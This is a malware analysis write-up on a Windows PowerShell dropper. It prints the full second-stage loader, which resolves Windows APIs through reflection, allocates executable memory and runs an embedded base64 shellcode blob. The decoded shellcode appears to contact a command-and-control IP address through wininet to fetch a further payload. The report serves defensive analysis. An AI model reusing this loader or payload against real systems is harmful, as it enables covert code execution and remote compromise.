← Reports

Dropper

3048.ps1

Author
Moise Medici
Updated
13 Sept 2026 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Command Execution via Powershell Cmd BashIn-Process Shellcode ExecutionCommand and Control C2 CommunicationDropping Secondary Payloads
Tags
ps1shellcode

stage2.ps1 Code Analysis

The output is saved as stage2.ps1, with the following content:

stage2.ps1
function hRl {
Param ($yG, $y82SH)
$l6 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $l6.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($l6.GetMethod('GetModuleHandle')).Invoke($null, @($yG)))), $y82SH))
}
function iI {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $nK,
[Parameter(Position = 1)] [Type] $b0 = [Void]
)
$prqZ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$prqZ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $nK).SetImplementationFlags('Runtime, Managed')
$prqZ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $b0, $nK).SetImplementationFlags('Runtime, Managed')
return $prqZ.CreateType()
}
[Byte[]]$cmSF = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6BAAAAAxODUuMjQzLjExNS4yMjcAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1eioAAAAL0Rab2hSY2NCSnhPWmtaaVR4UEVDa3dZeGF4TTBiOHdVSmd3VkMydFhyZHNkNE0zTFZROUVtaTZkMDM2VjB3RXJGeDI2Vm4tWHZYRV9ZRnRDR1pBWm80MGdHVWEwcWdRNzkwTVEtXzNyeW1yOXpFNFpzTmhlQ2ZaengzZmlPb2E4d3VORWl0b0VWVDVuU0gxTzlHQWY3YkpaYWJDMzRRMlFDdWhVX3YASInBU1pBWE0xyVNIuAAyoIQAAAAAUFNTScfC61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAAAAD/1U0xwFNaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC66roVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V")
$q_VC = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hRl kernel32.dll VirtualAlloc), (iI @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $cmSF.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($cmSF, 0, $q_VC, $cmSF.length)
$h9PK = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hRl kernel32.dll CreateThread), (iI @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$q_VC,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((hRl kernel32.dll WaitForSingleObject), (iI @([IntPtr], [Int32]))).Invoke($h9PK,0xffffffff) | Out-Null

Before looking at the functions, let’s look at the main execution (the code not inside any function). The cmSF variable is a base64 string. The variables q_Vc and h9PK come from invoking VirtualAlloc 1, CreateThread 2 and WaitForSingleObject 3. These are standard calls for creating a new thread running some arbitrary code. The idea is that the code creates a new thread via CreateThread, allocates memory as RWX (or at least as RW first and then RX, though VirtualProtect would have to be called to change the permissions) via VirtualAlloc, and then WaitForSingleObject is used to make PowerShell wait for the newly created thread to finish before closing the “main” thread. What we expect to see is VirtualAlloc being called with RWX, due to the lack of VirtualProtect, and the encoded string being copied into the memory returned by VirtualAlloc.

Looking at the VirtualAlloc usage, the script calls GetDelegateForFunctionPointer. A clarification about “delegate” has to be made. A delegate in .NET is a type that represents a method with specific parameters 4. It defines what argument types a function expects and what return type it produces. Once a delegate type exists, a pointer can be bound to it and invoked as if it were a normal method. This is used to avoid the standard, easy to detect invocation of Windows API functionality. Why is .NET relevant here? PowerShell can directly use .NET because Windows PowerShell is built on top of the .NET runtime. That means PowerShell code can reference .NET classes, call static methods, construct .NET objects, use reflection, and invoke helpers without importing a separate library the way a scripting language normally would. The function iI is a helper that returns a new type, via the CreateType method, defined with the signature (parameters and return type) passed in the arguments.

For example, this is how iI is called while defining the VirtualAlloc delegate:

Terminal window
@([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])

And this is the signature of the VirtualAlloc function:

LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

The first four arguments in the PowerShell code are the parameters (lpAddress, dwSize, flAllocationType, flProtect) and the last one is the return type, which for VirtualAlloc is the address of the memory area, hence cast to IntPtr.

Once the delegate type is created, it is invoked with:

Terminal window
.Invoke([IntPtr]::Zero, $cmSF.Length,0x3000, 0x40)

The first argument of VirtualAlloc is optional: it defines the starting address of the area to allocate and, if not passed, the system picks the starting point as best suited. So in this case a null value is cast to IntPtr to match the signature. Then comes the size to allocate, which is the length of the encoded string. The third argument 0x3000 is MEM_RESERVE | MEM_COMMIT (0x1000 | 0x2000), the allocation type flags required to reserve the memory area for the process and to zero it out before it is written. Lastly, the permissions requested are 0x40, which is PAGE_EXECUTE_READWRITE 5. The return value is assigned to q_VC.

The line just after VirtualAlloc calls Copy to copy the content of the encoded string into the newly allocated memory.

Terminal window
Copy($cmSF, 0, $q_VC, $cmSF.length)

The same type/delegate pattern is used in the next two lines, where CreateThread is invoked, the handle to the thread is saved in h9PK, and WaitForSingleObject is called against it to wait for its termination.

The hRl function is another helper used to dynamically load a Windows API, as described in Load Library.

Now that we know how the encoded string is used, we also know that it cannot be another PowerShell or script-like language, since the process would not be able to execute it without “wrapping” it in the PowerShell (or language-specific) interpreter. What the threat is able to run is an executable, or machine instructions. So a simple base64 -d of the encoded string is not expected to produce anything readable. Still, it is worth trying first:

Terminal window
$ echo "/EiD5PDozAAA[...]VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V" | base64 -d
A���RAQH�R �B<H�f�xR`H�RH�R H�rPH�JJM1�H1��<a|, A��
A�8�u�LLE9�u�XD�@$I�fA���H��tgH�P�HD�@ I��VH��A�4�H�M1�H1��A��
HD�@ I�A��H�AXAX^YZAXAYAZH�� AR��XAYZH� �K���]H1�SI�wininetAVH��I��Lw&��SSH��SZM1�M1�SSI�:Vy����185.243.115.227ZH��I���M1�SSjSI�W������/DZohRccBJxOZkZiTxPECkwYxaxM0b8wUJgwVC2tXrdsd4M3LVQ9Emi6d036V0wErFx26Vn-XvXE_YFtCGZAZo40gGUa0qgQ790MQ-_3rymr9zE4ZsNheCfZzx3fiOoa8wuNEitoEVT5nSH1O9GAf7bJZabC34Q2QCuhU_vH��SZAXM1�SH�2��PSSI���U.;��H��j
_H��jZRh�3I��jAYI�uF����M1�SZH��M1�M1�SSI��-{�Յ�uH��� I�D�5���H��t��USYj@ZI����I��I�X�S���H�SSH��H��H��I�� I��I� �����H�� ��t�f�HÅ�u�X�XjYI���V��

Redirecting the output to stage3.bin, we can run xxd and file to look into it a bit more. Looking at the bytes with xxd doesn’t give away much, except that it is not a standard .exe file, since the magic bytes are not MZ.

Terminal window
$ xxd stage3.bin
00000000: fc48 83e4 f0e8 cc00 0000 4151 4150 5251 .H........AQAPRQ
00000010: 5648 31d2 6548 8b52 6048 8b52 1848 8b52 VH1.eH.R`H.R.H.R
00000020: 2048 8b72 5048 0fb7 4a4a 4d31 c948 31c0 H.rPH..JJM1.H1.
00000030: ac3c 617c 022c 2041 c1c9 0d41 01c1 e2ed .<a|., A...A....
00000040: 5241 5148 8b52 208b 423c 4801 d066 8178 RAQH.R .B<H..f.x
00000050: 180b 020f 8572 0000 008b 8088 0000 0048 .....r.........H

file also doesn’t recognize it as any known format:

Terminal window
file stage3.bin
stage3.bin: data

So this is likely pure shellcode: plain, raw machine code.